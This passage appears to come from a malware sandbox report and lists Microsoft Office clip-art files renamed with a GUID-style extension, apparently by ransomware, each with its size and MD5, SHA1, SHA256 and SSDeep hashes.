SHA1: 178569441260534ded084467fcdb4eee2ba3ce1a
SHA256: b8bd232d6b1dcf15bfd37ffa8633e31b796543169cd7719fed53364c44a47245
SSDeep: 192:IEodpuw+nE2G41wr5kafZSah2l0MWiMmcwd7zdrQkN9lHafOlJX1o/A:IjdIVnwnfZSaIl0MDMmcwd7JBl6fOTXz 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.99 KB MD5: 0fd4bdfd662538b9b2bed8a2b156d5c3
SHA1: ccf2a47198ccaaa5c2f8a93aea2c65efd7f28bee
SHA256: c67df8996968c806b1ab40f72ceff6a063d68fac744771b7141c4a08ce13ea3c
SSDeep: 384:eIpMIEiaOlT2fHHHADVFZd7QBpfLgNUjTX1oI:dpMIJbofSVFPIL8UNF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.99 KB MD5: e25d8cc0e41b2dd6c43103e190d80a5a
SHA1: 7c7476f89e1a851942d2bd4387abd4a1098b395e
SHA256: b9fac9a195366f260b24e76b58544dad0ef3a4eb989e6d3b6dc5c3f80357ddd7
SSDeep: 192:BKpcBmLqTjc5Q9C9ab+liXg9bdTAo4cdu3Xl854WOmYlJX1o/A:BwcBmGfcYsbliXUZ5ru3q4WOmYTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.64 KB MD5: cad9f0ba1d284a8fcf21e7c95cea45d0
SHA1: c2d1fca06da6a961837cee82c5baa0b15dd2a975
SHA256: 330c92d9e3343d6282c02829f53b1af98c93af65ccf0038b0a314c387413ecae
SSDeep: 96:HpiCsa/oZXyld9oCJg49FBiNYTkGFALM1FgMlBgftvHFeEX1Yv6aRe:JH/uXyld9o0FFhFAAw1tlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.97 KB MD5: 6af848299b80ae3971dbbcb131ac7eb2
SHA1: 0f0c48bb60ac9bf286bae6a8f93e2355ba4388c9
SHA256: 69c28d8165069f73edad567701016c395a976b2dfd63f88d631e75a56f059ef2
SSDeep: 192:Tkyje6tXRBItL9DULVJ70GmViavXMscSYUlJX1o/A:TzjpXRBQLAVJ80aWVUTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.97 KB MD5: df26be9d64480804990d6e55f8708f6b
SHA1: e51eaf5d24e30f361494a610d7de7a1bb57f58e0
SHA256: 1ec0d92e2ceb6031324801195c2ff390ffe01667dfe43d679269dfb12ed83c86
SSDeep: 48:v2mAvY3UfLN0cNT40GQ/+FvE7V9bhE8Y1YvqNIhRe:OTvY3UznKvHFeEX1Yv6aRe 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00103_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 13.88 KB MD5: d41eb3a22d1f3c8ffb2423a40e51d61f
SHA1: 050ee1959c18365d1af2443a3139a44bdc9e338d
SHA256: 4553bd866befc95f4dd8601f4f11fa95fc7201c82bb2d46e2482d6993d3128ef
SSDeep: 384:iKW5XU4D1spHf/BuCJnO+lnoerL2TBTX1oI:lwXU4rOnO8noMmF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00120_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.86 KB MD5: ba327b62e2958b96012abb7b18b7e124
SHA1: 1af1194a6621b8356e5d9d45abf24ca342d29868
SHA256: 60a732b41d49b843d072c24c2a2d733a3873db165a3a1dc2f9b0ef56e0aa78f5
SSDeep: 96:rW1ycaSL3VQ9gS6NHArG80QEsH/NQEKLC5mLUw6PT9WpMwJojPuvHFeEX1Yv6aRe:S1taWlsue0QEtEWAw6PxWpMwyWlJX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00130_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.60 KB MD5: 8e00b9f6d312daa34c4e3d174651683b
SHA1: 887e21fea5a07dfe85abff13eed3ca44233da8f4
SHA256: 98a3160d4f7a0e08cb4e665835ccd455203aa87db2c56e72564082a8d2cba3b8
SSDeep: 96:Rn0WNvn2DgP/B7EkhCwFaSaS4uF53hHQilLFxXq845caPnteya3Bc/lvHFeEX1Yg:zR7Ek5X8a9L/UD+GlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00154_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.66 KB MD5: 3a10f26397d6f8f21385ec9ffa3dc6f0
SHA1: 1f2c8672be59f0bc5a32bbf366d58f721f05ea03
SHA256: d7f9c1a5dceafacaba0837526b7904083389199450ddffd80065e8a94ae8e635
SSDeep: 192:HvxHw+IcyPfW5OXQmfq0AchakQhR1BU5TvkMlJX1o/A:P5IlW5OA6q0AchaRIVvkMTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00160_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 2.58 KB MD5: 0478a6f6b451da10c741e1ba2155dde5
SHA1: 0eac9b6e61dd1688b20167ebb3adaf1c64621a62
SHA256: 5f133f611cc2614658971ffbc81da29cb031bafc13fe72dbc9f32c034dc8f049
SSDeep: 48:H0U3O8Zs5MdhzT6GRjNGQOb3VmOZzdM5OnY1P40GQ/+FvE7V9bhE8Y1YvqNIhRe:D37HY/Vfm1QvHFeEX1Yv6aRe 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00163_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.28 KB MD5: 26ae0dc5ffa09214ba0b3684d323d15d
SHA1: 8d32efad1bed1e11f07c3759401d98571c9f5924
SHA256: 024a9f592a02bff5517b512db6f72ec68e502e7debb2ad371aeffbfd80ed7174
SSDeep: 192:WaHfaldHM44LlXQeD58ghw/7HkVN0creSt5qFlJX1o/A:ho45XxeyEQnBeSt5qFTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00164_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 14.41 KB MD5: 867ffc6f494171fdb0ca71eec5be4b83
SHA1: d9e4849d83b0ddfaf767f892988387e986e39738
SHA256: 0e84f350194a84de7d5e2b7e62896cb46b9fa27bcfb9d43a4c8b1efe85dbe84a
SSDeep: 384:DaCxvAgY7Tod4fVNFwp0hdv3+HSTwVPcEuRLG8Zm7sRTX1oI:DtG7TH9Nap0hdf6STWEdhGCm7cF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00167_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.25 KB MD5: ce43ab7c7f0460086371e7487d35c127
SHA1: 16c0c0d127a8a500bb9ced3cecfa11232a08b4ef
SHA256: 9650c1c837c7a9d67e66bed0d4afdc1671b4d0e19a8db8f90b8b1222ae867611
SSDeep: 96:y2f0DMEzaLlwsUsRB3EevMT5mHM70zLDE88rU3kVpvHFeEX1Yv6aRe:X0DNaqsz0eK4MAlpUVBlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00170_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 10.50 KB MD5: bffc2227c032240411b6a3981b139bc7
SHA1: ec47119a3bb8da2f7fcb01a6b3d12baa2430228d
SHA256: 9706c3403727cf9b7a943329bf2da27154bb02124f083aa6518e60d704cda8e7
SSDeep: 192:mdP1X3lcTXQfSnSEQL72IqHmUZOuCofFIzFW0/DlJX1o/A:QVmQfEK7cHPZTfFIzFN/DTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00172_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.75 KB MD5: ee4ac2f97fcb1518faa769654a05e09d
SHA1: fc71ce85f687a3c88adc8fd886690e0c6533855d
SHA256: eba64cc29794aebe5fe329231ca7bf05ec095f3bd5c80c06a79adcb2ba4870d1
SSDeep: 96:c7qUW4GbQtBzOpWpZ4msNXxKkvVJyBgzFaEIc7jPpLQPPZEE6vHFeEX1Yv6aRe:c71W4GMtA1h7DgBgtfj0HelJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00853_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 21.56 KB MD5: fd1fc556939b6220f7ae364f7167abbe
SHA1: 06c46094b1c1e08eba0064d9feb813ef0b83e1a6
SHA256: 8369d23ab240b926fc518a39f277d1f22eb44012ae186340e545511c13929969
SSDeep: 384:GO5gHk5KhxoOEMLanSsSzlMPVcDjtjWk4dY5G7BVmd1c8gX4HvIXO/gmiFYX4ZZ4:tgoOFLySrScv92ke6E8gX6vIeYmiOXW4 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00914_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.05 KB MD5: 9170d90ccc504be23c5f4887d1655922
SHA1: 4e19a80c9a2cbc47f09332179eaf35e351fb62f9
SHA256: 856a0bf84028940c2e91fd866a43b24bbaeae95b70e1eb6606ba3200c197f935
SSDeep: 192:yb+vAiMjgX3A5pUDAsiTlZ9KWHndbLVc7miANyzkFR3Y6fHIWnlJX1o/A:8zgXpDlih+WHbQmjNCkH3YGIuTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00965_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.38 KB MD5: f4d1db813e4d17eed3bde496d5f6235a
SHA1: 6eb915a709af7084bc21d83caf3ed8c781066cab
SHA256: 83668e8782b8256e40f49b1e2cf0ff10bbba7af1cbad2d55327b0f9b167afbc4
SSDeep: 192:JQ8dlKd1ETGRt3LMUo227EvW5hvF+wRDRHKEurlJX1o/A:JQ6zTImUo2lOvtlRpKPrTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01044_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.02 KB MD5: d43825b89f3e2fc15d6e0db12d9c4cc5
SHA1: a2ba7e3a3d47fcbf23c817e56e3e34e66e5f2346
SHA256: 0fb70541195352bc18daed1d6c6ad8da383fae32b127848cbfb6f541738c5700
SSDeep: 96:qYCmrYCEGZhuYTWGV2uh0rKvfhSSpNz5NSvHFeEX1Yv6aRe:/CsbEiTWS0rKvpSSpVWlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.25 KB MD5: e75b22231b544c6b04c51ffa40b17315
SHA1: f8d88440a452bb0dfa693192a0afbac4cfd4b0b0
SHA256: 588138d60bbb8b433e18cffcbf01e627b9cc74986d064e941d419f779cee789c
SSDeep: 192:wx/3Ap+HMzpyrzlpWg4pEBO/eyEdVexrHizmEg9W05lJX1o/A:Vclsm8/REdVCH+mE52TX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01174_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 28.67 KB MD5: 15cac84dcd5a2855304de5c11bb0fce2
SHA1: 871a81f7bc153f47424886591dccc3a269c80c23
SHA256: 92ed5066968053b3671457d4333beb6696fc770665cea414a52fe620e0e31c59
SSDeep: 768:sAcQjdRtT5nU4lXtOQoeAf71FrEhGiUAUGaY8F:s/Q9T5n1X6j1FJPAK 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01216_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.16 KB MD5: 1d6d326ceae963341c2747ad57286af9
SHA1: 6e8f03dcf36587531d23dca9191ecc325c4d4f5a
SHA256: b8b25ce119e69a6a2331e6cc4ad5b3e3cab73077b4d3bc5d4fd2eedd7a54fb45
SSDeep: 192:3rRhLaRa7EN/1c8LpeNdGtUKQ/swk/IlJX1o/A:3d1aRMSNjLorV/swZTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01251_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.16 KB MD5: eb43ae406f18be405bc9cb9c146104e0
SHA1: d6d102bd56167c6b5ced1a93479ce1586cac1e8a
SHA256: 7521e19fb37af3e2a42e42d9a5808addc57255621ec174ee583af64c176125e4
SSDeep: 96:WaPydpy8JI6EXinulv/Dqi8JWw03RtKyK+JR2vHFeEX1Yv6aRe:BPEkmI6EX6ARWoa+JRalJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02122_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.83 KB MD5: 807d20247133ff234980313d6214d411
SHA1: 9c7d5d613058ac9acc6fe8179ca10102ab97649f
SHA256: 4d1c73073aadbd73792f68831e9eb88cc931bc48c2cac459bde523fa167604a5
SSDeep: 192:QhuUwAyprMGP+3TgjKrhpJ6HWow3GgzFt01nIEGlJX1o/A:TBAyYG28j4SHLmzFu1FGTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04108_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.75 KB MD5: 4f35c39a05e9f696e9b2bd84433b7eb4
SHA1: 00592cf13ce8ad4d6d668d3946cde1492dfcd6bb
SHA256: 656c04a16ad604b7254304f205cff169021a6139ca3d1f6a20c1f520dda5deed
SSDeep: 96:c/D/Lrx4z7CybpDk9jKfMdvHFeEX1Yv6aRe:cL/LN0DOPlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04117_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.38 KB MD5: 2c902a7a98a449b025b4820372663a93
SHA1: 62fe977f23500be3f56e2d30599471315686e607
SHA256: 3058003fef6866be00778539e1635312462b476e8338539b650de2156ff8bbb0
SSDeep: 192:2WiH0/E5WW5XZ1SqMvjyweE1VWJeVMlJX1o/A:2Wi5h9Z/MNnYcVMTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.94 KB MD5: 3b40b8b0af65aad7773904b1e256470f
SHA1: 2cce0f0e40c89fe42794c164ea301bd280825287
SHA256: b24d098ec5dacb7c38d309c1bd3d44c8e753f6a2b351dbd4b3610b2a8ab19939
SSDeep: 192:28oaZALbCdtOzLqLEwOPxYZf47lAR9jB0isYzBwmhTd0IlJX1o/A:sa2PCd4zL5wMm4xARhlwoTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04196_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.53 KB MD5: f7dd951f6a9faccfe7a66356a2baa74c
SHA1: 298c1d878fe7e6b8a810f99a4f7d4faf65cbc6e2
SHA256: cb9d2deace89745eb558e4bdf67ad18c03988e2e72b1a66982f557949c56f371
SSDeep: 96:vHZghADt0ATVHJOPVxWOeSJbhXdydVzCi67Kso8cpFRKvHFeEX1Yv6aRe:vHZJDTTV8P6V6d2VzCpKs5cFROlJX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04225_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.75 KB MD5: d368377a9104cac7dc5bcb7ac4363fda
SHA1: 5f9849cdfe53a7fa3f26ef570ad53307f21025d6
SHA256: 6df728abd32d2c26ff1dbe34d131e00e0b0fcf1cef439159a4b30920e463f9d4
SSDeep: 192:3AxWG+dTbtVDAp4QTfHWMHgaGg0wTmCJgMVptgq1zOlhHj/SCtxb79mhTlJX1o/A:wxW9dtaZTfnHgomCh1Kll/SO39qTTX1F 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04235_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.08 KB MD5: c9054c9af6cc702173e95fb4468ce5d6
SHA1: 298222008bd56e0a1fcb0aac330bd18adeda3c90
SHA256: 267ec4fccd6811704330ad9a5d778aac19d84ddd8718b1deea15f81b7ae3dc6e
SSDeep: 192:yXJH5pqa30h8PE5mguffTcQSwuXFxglrHrk8x0yUiyZtgBrahDvdt2NIlJX1o/A:y5ZpqSUmLAJXglrzx0C8gwvv22TX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04269_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.44 KB MD5: 270290226cfd4788adc5844cb4bb7fd0
SHA1: c99775b1d63cd31eb40c3e53e0f92d1130a15ab3
SHA256: dad9258dd3bd46879a7031b0c754ea376c8f98c0ae863f0c97e600909336cb1d
SSDeep: 96:S3J17g2sTPRWFWxaPhUd817zYWAis/AhfkvHFeEX1Yv6aRe:SnPsTp2Wx98ZYWAis/AhfQlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04323_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.89 KB MD5: 108786d302baba390117ddfd8ec6082d
SHA1: 733250e75dbf147efa78c3ca59077db0b426c719
SHA256: aeef49361de62f776a94b8c7e10f40d7f566098189d176a4b90a6acb656e237a
SSDeep: 96:+hdor8YJdumh88MISH507J9mu/0oKBlTvHFeEX1Yv6aRe:+h6BJ4mNnSZ099mu/XK77lJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04326_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.74 KB MD5: 4dcfa5d4fb477be8aeff0aba5db77f45
SHA1: f9d30417eeeee9e661a28dd40e3d21ddeb1f2f6c
SHA256: 9a31e668fb37bdf679cfeefbad36aa625930c6582e21b73248eb54cb7d6a44ab
SSDeep: 96:4lUM+elUfcYlvbfH1W52HjFb2jgiscPxT+ItPyvHFeEX1Yv6aRe:4lU7rvLg52JcJklJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04384_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.88 KB MD5: e7908036a7686a1f62a1df26c9db125f
SHA1: 07efd7472041248f994d1e08f08e98f071510120
SHA256: b778b471c58c9d9182530b871120e62213872bae2c728f13beeb3576e4dfab74
SSDeep: 96:wJtus2ysn2bF59lR8Lrwry8UEbIRjMsudJsc20Tu3g7fpB3z7qc:GQ32bF59lRi0ry8nItnudJsc2Ouw7fpN 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04385_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.89 KB MD5: 6df6ff8a87f8b668d56c210f69e7194d
SHA1: 843ec667e0330e925fedf1cb11d5ba8703b23dc0
SHA256: 9287105539bc59ce2c25b84b500c1c92ad72d12264e05a93dc8060713c9f412e
SSDeep: 96:KJnGwkn8L9PlWxvCDhb0dIUlcePYJFA5da5oP24IjCW0FUJQzlIuXoxt:QGd8L9COyIULPYza247FUgl9XMt 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BABY_01.MID.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.21 KB MD5: 800cafc58c686ea77cc690f694d1077f
SHA1: 8c282e0203907f20e2382fe1f8d450e610d06438
SHA256: 80c4faf77b998423fec4f3e8c6dd7a06f7c2af52464cfc25a323b876ab74bb34
SSDeep: 192:RprCIC+CUC+CUC+C8kYJQQQQQex6KLRvs3DMA9WCuWCp:RpOIgUgUg8kYJQQQQQex1R5A9gp 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00141_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 26.26 KB MD5: e17493b59f429483d0e4f82a009e3574
SHA1: 6a6378fdcb35d8e5d0771c4575161695f01337f6
SHA256: 1885dd12afda150c65493807a723585f966ec374bd62887acc59f6e16bafcdc0
SSDeep: 768:GiwsdfX0GPPXlHM6OBQImAcm03LvQb3TiRt35MwRPE1HhYigq49/rsiTxmIEyqV+:wifPDVvNHQKQ1BCWBEd 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.80 KB MD5: 72f40f0f42540debb1cf088e9dedd3c8
SHA1: 711dd5ff2a063a94e7222559f1cdf0556cfaf640
SHA256: c3133ad7fe3dac30578040210e9943c4d2d5c18864f44fdbe02488c13558cee1
SSDeep: 384:3oVk2+VIKj58FUO8u67wmmHqNc5XTfe8eLZAzy/X7RV4V+RX/Ldh0llj1/9/EY7S:3Uk2+Vt58+O8u67wmwqNc5XTfehLZAWD 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD05119_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 16.83 KB MD5: 361ec42b304d42bb30c82157fc4876ac
SHA1: 07b49dc5ac0b6b477a54b48b866a0cf53c791fb7
SHA256: 26b57cee23b72c0223a47228382c2e5ab549c144240acd64998a61b9f18cd491
SSDeep: 384:xL55ROgj/lrYyB8AqyFlxjM4bOzAAI9fTguitwCX7L:xpLZrHuAqGxHOzPjtwCX7L 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07804_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.81 KB MD5: 714977129caed5cfd38159c16830a7ea
SHA1: a2108a5236929c8809c8a8767fe1bdbd2d2bb17f
SHA256: 761fc87339ee96737c22125a75a2c0f76a0e4d0580b41a993ff720235d1b7afb
SSDeep: 96:0JQiGD3QayRZmJUdsYUHnIsSmLw0BhQLHC2ysjTYdlmQD/qorR3jT7d:6QiGsayRZGUdsYUHIsSms0BhQLHCtsT2 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07831_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.97 KB MD5: 85c3cf87edc67a9ebbcddd17a3ded333
SHA1: cfe2bb790e47e20dc2aca9b2bf2b562c68640e0f
SHA256: a90d54883ae20ed153b315da22f924b3bec56705e6c63454e86bc8c9a3aaf6eb
SSDeep: 96:wJ1V0urvwKkSiZ18kjV9YtmBy+s5tINZCZjYPP4Zb6tmzcr3m6:G304YnSiv8SXYtmsXtgZCZjqPA6tmzcp 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08868_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 39.26 KB MD5: a33c32182ab424a0958ae1bc6df3738f
SHA1: ef6c144549ef6d53260d3ed08d75540310568a25
SHA256: b00519c20905ec40e2e0ffe7f9368095d9adfd233bc0a16d620033c0a0d5ff4f
SSDeep: 768:PzD607BWZBPz43+ZS21BYTpvAPCP0zwITG/wBWOKEe3Jqhc:P607YPNql4KP0z9S/i7QJf 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09031_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 46.67 KB MD5: 16514f3fedac5822de85f4e735f509ff
SHA1: 1a270ff242ab2f16a5697a19352c24b2a5f78b17
SHA256: 428a4838e436533b62ff7901f36f880f0ecc9f9690909c2184d40f14a34d89b0
SSDeep: 768:GNf5Co/PqvU+Dqf/f+BQ7kCHEC+r7lHuAA08lMHojdJhm6RqweaB59h0Vj+UGbQf:uf5C8PqszP+5lrhHumHcdCKqwwPGbQf 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09194_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 14.20 KB MD5: 0538d56c7bf155c0c65174c61c7618ff
SHA1: 716a79bbd28cc58193e760423c4ac53f0de84ca3
SHA256: 1e1a5e151c478d5aedb5f7a4632559372f120c5fde73ff6ee19867791dafdac2
SSDeep: 384:x6fzQrQR2eIr0tYyM0znUO2UaPOUZGufMSDBDyKAA:x67QrQR2eIr0ylYnc5fxDFyw 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09662_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 20.07 KB MD5: 23531b1a2b7b409fae00423b602c235e
SHA1: 3080909c100de9840e06283769aecfa0dd486709
SHA256: 3e65f98fd96adfed1e0211fd914276815c346f57ba4b40c693c1743d08cf3cb2
SSDeep: 384:BtX9FpZF++LJhfUsdwwfYOiof8plbxXJl8M74KpXzlmWJH9RyYwzzmOI+RNdkhlT:7X9Fpb38+aOLf8VXJl8M0KpXzlmWJd4s 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19563_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 19.98 KB MD5: 4efd0644dce706fee1b7cd965a2e0c2d
SHA1: 78f9a8165217d44f4a87b9d769680bf89cd6e94f
SHA256: b45c9476110e1715fa656fc97c17276d1ffc56128b83ccc643ffc494b0355cc9
SSDeep: 384:hNKdZYYB/S5MaxgNEb6UP14JqkH2oBiFs1qg0nR8OL7vDaXU9YlpNUOL7vDaXi:h0ZL/eBxgKb6a4JVkFav0L/vDaXqc//N 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19582_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.37 KB MD5: 364dd13bd0cd076e301d4fc20c765a5f
SHA1: 5088136c7ef7284f1088a0523a62d22cd35f4ec1
SHA256: 66984a50e786c35154daaa07e668436bf8230d2ff5f41dfc29268e30df3becd3
SSDeep: 384:hjWFWvfXmurlgjcFxGtz9+md+kQb/hVXiGPgmBBkU+YRZ:hjWFWv/1l8cFxGh/EbhMGPgoKUpD 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19695_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.68 KB MD5: 42a5242306dfa010c322b38eb620c650
SHA1: 3f015ba404fe483864a7c4b5c5c4b84ed62713cb
SHA256: 476980e04faa65d6925c55b96c41ad3f0f7fbb849c466416b9e6010c1c83d122
SSDeep: 192:HnEnwBqoXGaeM10mJGXnRMVySHx2JTfY1Yy13PPT78LbfZuPsNi7cBhp+Ew5e:HnEwDyM10zXkCfk5pP8HfZ+i+s 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19828_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.57 KB MD5: c00d7aeef3cbbebee5fc330ec4b02e0f
SHA1: cb695d312f0173123b439c65a83b8773f30b6915
SHA256: d7c715de84b4baab39d08787d292ea42dc625954a11d52c7259bf89d9c135823
SSDeep: 192:mHB57C6c9OC1oVtPsjC+ps/wDRCkqjaG4hAkhzJ7W9FRj:mHXCRyDcHs/GR2xA7hsFRj 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19986_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 14.15 KB MD5: f47beb5612aa13fd016912500151bc5c
SHA1: ed0ff09cac0d747c5a088bf866e019772ce68113
SHA256: 60d42ee9427756f2a04e224f9d64e98f68ea3e09f079a0344350df67bd9325bd
SSDeep: 384:Jfudn5zFOLwfy6QTW3/ZGLyKNngxLynkc:JCVFOLwq83AbJkc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD20013_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 10.80 KB MD5: 0f72d5bfa65af6a93147ca8b9907f3c0
SHA1: ddab3d5edd0267c1691994b5c09c8fe52dcb5991
SHA256: 49030d0018254293bac703c01ae2a67500b32aff521d9665e7545629f4264127
SSDeep: 192:JeXwBfsnL4eKmltkinujbS0oQ33Oe/k5uWRB6GLpwA3uLsnMeHLDiZuRAFGBg:JIwKnL4evtuXOes8S4qUfUviURAFGe 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00008_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.23 KB MD5: f62e23a49bbe0e7c84ea0db5c6b9a517
SHA1: 9a19e35393a7e617f89546de39c9086be4a94e8c
SHA256: 6b19388f44525428175da26742fbde26501bdade6f8af13dad3d45c83f8cccf7
SSDeep: 384:Er1JEYGtq/MZA+JrtVHn+YJm1m5vooeyF:ErDEYnwAWVH+fQolyF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00045_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.68 KB MD5: 02d823725fea61ea4451c5f4780886e0
SHA1: 5f26a0e88b02f4308b59c5a720a9092773a7be31
SHA256: eec7524ea932c34361b744207c7ff8b61a6e90bab301c29d011666f751f7e600
SSDeep: 192:Q57T2KT+SZ8/FvK+p6WK0hCNx8LymnUSoiQiL2WRCg:Q57T2KT+Sq/Fy+U508oNnUSoiQid 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00098_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1013 bytes MD5: 84834136ba6dbbcf80350dda9309f6ad
SHA1: c04dacb89d3258d8313545051b59f4473c7f4970
SHA256: 995c44d40c9a2b676558fcc5675e63858dea60d9443950a4129152809bbdba34
SSDeep: 24:t/g6IBA3Hih+KmH951CYVizA4+dNim+H6+bt9tl0C9lPlpPdpFZhvH:1gd0ltdri1mNim+ac9t7jpPdppvH 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00122_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.91 KB MD5: 821478b614389667e51e4e8c9f394be0
SHA1: 8b909fdb406d92f38c4b409f1a230a62eb5e39a8
